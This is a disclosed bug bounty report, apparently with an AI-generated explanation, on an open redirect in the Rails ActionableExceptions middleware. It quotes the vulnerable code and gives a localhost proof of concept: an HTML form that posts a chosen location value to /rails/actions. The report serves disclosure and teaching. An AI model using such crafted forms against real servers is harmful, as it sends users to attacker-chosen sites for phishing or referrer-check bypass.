Open Redirect (6.0.0 < rails < 6.0.3.2)
The Rails ActionableExceptions middleware took a user-supplied location parameter and used it directly in a redirect without validation. An attacker could craft a form that made the server redirect a victim to an arbitrary external site.
- Triaged in 2 months
- Fixed in 4 months
- Paid in 6 months
- Disclosed after 6 months
Hello, I was looking at the change log (https://github.com/rails/rails/commit/2121b9d20b60ed503aa041ef7b926d331ed79fc2) for CVE-2020-8185 and found another problem existed.
redirect_to request.params[:location]
end
private
def actionable_request?(request)
request.show_exceptions? && request.post? && request.path == endpoint
end
def redirect_to(location)
body = "<html><body>You are being <a href=\"#{ERB::Util.unwrapped_html_escape(location)}\">redirected</a>.</body></html>"
[302, {
"Content-Type" => "text/html; charset=#{Response.default_charset}",
"Content-Length" => body.bytesize.to_s,
"Location" => location,
}, [body]]
end
There was an open redirect issue because the request parameter location was not validated.
In 6.0.3.2, since the condition of actionable_request? has changed, this problem is less likely to occur.
PoC
1. Prepare server
Prepare an attackable 6.0.3.1 version of Rails server
❯ rails -v
Rails 6.0.3.1
❯ RAILS_ENV=production rails s
...
* Environment: production
* Listening on tcp://0.0.0.0:3000
2. Attack server
Prepare the server for attack on another port.
<form method="post" action="http://localhost:3000/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=https://www.hackerone.com/">
<button type="submit">click!</button>
</form>
python3 -m http.server 8000
3. Open browser
Open the http://localhost:8000/attack.html url in your browser and click the button.
Redirect to https://www.hackerone.com/ url.

Impact
It will be fixed with 6.0.3.2 as with CVE-2020-8185(https://groups.google.com/g/rubyonrails-security/c/pAe9EV8gbM0), but I think it is necessary to announce it again because the range of influence is different.
This open redirect changes from POST method to Get Method, so it may be difficult to use for phishing.On the other hand, it may affect bypass of referrer check or SSRF.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the middleware passed the request's location parameter into the Location header without checking that it pointed to a trusted destination.
Impact
The redirect changes from POST to GET, which may make phishing harder, but it could still help bypass referrer checks or assist SSRF.
What the attacker needed
Rails 6.0.0 to [redacted]; production environment; victim submits a crafted form
The fix
In [redacted] the actionable_request? condition changed, making this less likely to occur.
How it was found
- Run a vulnerable Rails 6.0.3.1 server in production mode.
- Host a page containing a form that posts to the actions endpoint with a chosen location value.
- Open the page in a browser and submit the form.
- Observe the browser being redirected to the external site.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
An open redirect is when a website sends you to another address that an attacker chose. Here the server read a value from the request and put it straight into the redirect header, so a crafted form could send visitors to any site the attacker wanted.
What is Open redirect?
A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.